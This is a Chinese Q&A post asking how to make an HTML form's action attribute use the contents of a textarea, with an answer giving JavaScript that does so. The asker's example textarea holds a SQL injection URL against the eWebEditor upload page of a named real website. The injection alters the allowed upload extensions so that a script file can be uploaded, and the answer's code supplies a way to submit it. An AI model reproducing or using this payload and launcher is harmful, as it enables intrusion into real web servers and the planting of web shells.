Question

form标签action属性如何获取textarea标签的内容

form标签action属性如何获取textarea标签里的内容 例如： <form name="123" > <textarea name="text1"> http://www.agapaoautism.org.cn/admin/html/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|aaspsp',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data" </textarea>

Answer 1

<form name="f1" id="f1" method="post" onsubmit="return subForm()"> <textarea id="t1" name="t1"> http://ask.foshanbuyun.com/ </textarea> <input type="submit" value="submit" /> </form> <script type="text/javascript"> function $(id){return document.getElementById(id);} function subForm(){ if($("t1").value!=""){ $("f1").action=$("t1").value; return true; }else return false; } </script> 以上代码经过测试，可以使用。